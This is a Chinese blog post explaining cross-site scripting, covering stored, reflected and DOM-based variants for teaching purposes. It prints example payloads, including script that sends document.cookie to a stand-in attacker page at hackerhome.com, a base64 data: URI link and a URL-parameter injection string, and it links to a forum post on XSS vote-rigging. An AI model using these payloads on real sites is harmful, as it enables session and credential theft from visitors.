文档章节

XSS attacks

Oscarfff
 Oscarfff
发布于 2015/06/12 16:31
字数 1748
阅读 95
收藏 4

       最近才开始研究HTML以及安全问题。如果有什么说得不对的地方,望请指出。

  在网络应用安全中,XSS可能是最常见,范围最大,所包含攻击方法最多,同时也是最难以理解的一种攻击。在OWASP所列出的十大网络应用安全风险中,其排名第二位,仅次于SQL Injection。

  就以一个博客应用为例。其常常需要允许读者对博主的文章进行评论。在输入评论的编辑栏中,我们可以输入对该文章的评论,也可以输入以下HTML标记:

1 <Script>alert(“XSS attack available!”);</Script>

 

  在读者按下提交键之后,该标记将被提交到服务器上,并在其它用户访问时作为评论显示。此时该用户所看到网页中包含该标记的部分元素可能为:

1 <div>
2     <Script>alert(“XSS attack available!”);</Script>
3 </div>

 

  而从用户的角度来看,该网页中就出现了一个警告:

  也就是说,用户输入的脚本语言已经被用户的浏览器成功执行。当然,这可能只是一个对该网站的善意提醒。但是对于一个真正具有恶意的攻击者,其所插入的脚本代码更可能如下所示:

1 <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+'
2     width=16 height=16 border=0 />');</script>

 

  该段脚本将向当前评论内插入一个图片,而该图片所对应的URL则指向了hackerhome中的JSP页面grabber.jsp。从访问该评论的用户这一角度看来,其仅仅是一个不能显示的图片。但是对于恶意攻击者而言,该JSP页面将自动记录传入的msg参数内容,即访问评论用户所使用的cookie。该cookie可能包含用户的敏感信息,甚至是用户名,密码等重要信息

  上面的XSS示例实际上是最容易理解的一种:Stored。除此之外,XSS攻击还包含另外两种攻击方式:Reflected以及DOM Based(Type-0 XSS)。下面我们就来具体讲解各个攻击方式以及各自的特点。

  首先要讲解的就是我们已经见过的Stored攻击。该攻击的最大特点就是,用于攻击的数据永久地存储在目标网站的服务器中。试着回想上面所给出的例子:在恶意用户提交带有恶意代码的评论时,为了能让该评论可以被其它用户看到,网站的开发人员必然需要将其永久性地存储起来,例如数据库。使用该方法进行攻击的XSS将对所有访问该页面的用户可见,并且一直保存下去,直到该评论被管理员处理。

  第二类XSS攻击则是Reflected攻击。该攻击的最大特点则与Stored攻击相对:用于攻击的数据并不是永久地存储在目标网站的服务器中。

  那这种攻击是如何实现的呢?请试想这样一种情况:某个网站允许其用户通过搜索的方式查找具有特定名称的商户。对于商户名称SomeStore,该搜索功能所返回的页面地址可能为:

1 www.SomeWeb.com/search.jsp?storename=SomeStore

 

  如果该查找功能没有查找到具有该名称的商户,那么网站将会返回一个错误页面:没有查找到名称为SomeStore的商户信息。此时恶意用户首先可以通过在搜索栏中输入<Script>alert(“XSS attack available!”);</Script>并执行搜索判断该网站是否有XSS漏洞。如果返回的搜索页面出现了“XSS attack available!”消息框,那就表示该页面仅仅简单地将URL中的参数SomeStore显示在了页面之中,而并没有对脚本的执行做出防备。接下来,恶意用户就可以将商户名设为如下的恶意代码:

1 <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+'
2     width=0 height=0 border=0 />SomeStore');</script>

 

  也正是由于搜索页面仅仅简单地将该部分组成直接嵌于页面之上,因此用户从服务器端得到的网页将包含该段代码,其将自动访问hackerhome上的grabber.jsp,并将用户的cookie作为参数msg的值,从而使得受害者的cookie失窃。

  但是如何让用户访问这个页面呢?很简单,恶意用户仅仅需要向那些受害者发送该搜索的链接,并为该链接附上一段具有吸引力的话即可。如果受害者点击了该恶意链接,同时该网站的cookie在受害者的本地机器上没有过期,那么这个cookie将被恶意网站hackerhome所窃取。

  还有一种类型的攻击也被归类为Reflected类型的攻击,那就是利用data:协议动态生成文件。该协议允许客户端直接创建二进制文件,如Doc或PDF文件等,并使用相应应用程序打开该文件。例如,恶意用户可以通过XSS插入下面的链接:

1 <a href="data:text/html;base64,PHNjcmlwdD5vcGVuZXIuZG9jdW1lbnQuYm9keS5pbm5lckhUTUw9J3h
2    4b28nO2Nsb3NlKCk8L3NjcmlwdD4=" target="_blank">Click me</a>

 

  如果用户点击了该链接,那么电脑将自动使用关联的程序打开该文件。由于这些文件的读取等动作都需要相应的应用程序支持,因此恶意人员可以更进一步地利用相应的应用程序漏洞执行更丰富的攻击。

  最后一种则是DOM Based攻击,又常常被称为Type-0 XSS攻击。它与前两种攻击方式拥有很大的不同:Stored和Reflected方式中,对有害内容的生成是在服务端完成的,而DOM Based攻击中,对有害内容的生成是在客户端完成的。例如一个图片浏览页面在URL中使用index参数表示当前用户所察看图片的索引,并通过javascript动态写入HTML元素:

1 <script>
2     var index = getIndex(document.URL);
3     document.write(“<IMG src=’www.imagestore.com/album1984/image?index=’ + index + ‘/>’”)
4 </script>

 

  那么恶意用户就可以通过在URL的index参数中插入其它信息来完成。例如在该URL中,恶意用户可以为index参数指定参数值后额外添加一部分恶意语句,如经过编码后的index=1/><script>alert(“XSS attack available!”)</script><img width=0 height=0。当然,恶意用户并不会希望用户自己攻击自己,因此他仍然需要做一些额外的社会工作,例如发送邮件给受害者并诱使他点击该有害链接等。

二、Tomcat当中设置哪些地方可以减少XSS 攻击

国外关于这方面的说明

 

三、某论坛xss刷票实践

http://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=8641&highlight=%E5%88%B7%E7%A5%A8

 

 

 

 

本文转载自:http://www.cnblogs.com/loveis715/archive/2012/07/13/2506846.html

共有 人打赏支持
Oscarfff
粉丝 72
博文 815
码字总数 96913
作品 0
崇明
后端工程师
私信 提问
Session hijacking attack

The Session Hijacking attack consists of the exploitation of the web session control mechanism, which is normally managed for a session token. Because http communication uses ma......

Oscarfff
2016/07/20
9
0
The 2017 OWASP Top 10 Update

What's In, What's Out, and What's Next? The 2017 OWASP Top 10 focuses on the top threats that remain from years past as well as introduces new, significant threats while acknowl......

James Lee
2017/12/19
0
0
ProxyStrike

ProxyStrike Package Description ProxyStrike is an active Web Application Proxy. It’s a tool designed to find vulnerabilities while browsing an application. It was created becau......

Oscarfff
2016/09/21
7
0
BwApp学习记录

下载&安装 bwapp可以单独下载,然后部署到apache+php+mysql的环境,也可以下载他的虚拟机版本bee-box,但是有好多漏洞是bee-box里边有,但单独安装bwapp没有的,比如破壳漏洞,心脏滴血漏洞等...

nw01f
2017/07/24
0
0
大家注意了Subrosa只是开源了客户端!!!没什么意义

Source code The Subrosa client is open source, and is licensed under GPLv3. It's recommended to host and access the client locally. The latest release is v0.20. (Download) Note:......

卧枝会中田
2014/06/18
355
0

没有更多内容

加载失败,请刷新页面

加载更多

码云项目100,水一发

简单回顾一下: 早期构想最多的,是希望能将PHP一些类和编码分区做得更细,所以很多尝试。但不得不说,PHP的功能过于单一,是的,也许写C/C++扩展,可以解决问题,那我为什么不用C#或者Golan...

曾建凯
今天
3
0
Spring应用学习——AOP

1. AOP 1. AOP:即面向切面编程,采用横向抽取机制,取代了传统的继承体系的重复代码问题,如下图所示,性能监控、日志记录等代码围绕业务逻辑代码,而这部分代码是一个高度重复的代码,也就...

江左煤郎
今天
4
0
eclipse的版本

Eclipse各版本代号一览表 Eclipse的设计思想是:一切皆插件。Eclipse核心很小,其它所有功能都以插件的形式附加于Eclipse核心之上。 Eclipse基本内核包括:图形API(SWT/Jface),Java开发环...

mdoo
今天
3
0
SpringBoot源码:启动过程分析(一)

本文主要分析 SpringBoot 的启动过程。 SpringBoot的版本为:2.1.0 release,最新版本。 一.时序图 还是老套路,先把分析过程的时序图摆出来:时序图-SpringBoot2.10启动分析 二.源码分析 首...

Jacktanger
今天
6
0
小白带你认识netty(二)之netty服务端启动(上)

上一章 中的标准netty启动代码中,ServerBootstrap到底是如何启动的呢?这一章我们来瞅下。 server.group(bossGroup, workGroup);server.channel(NioServerSocketChannel.class).optio...

天空小小
今天
4
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部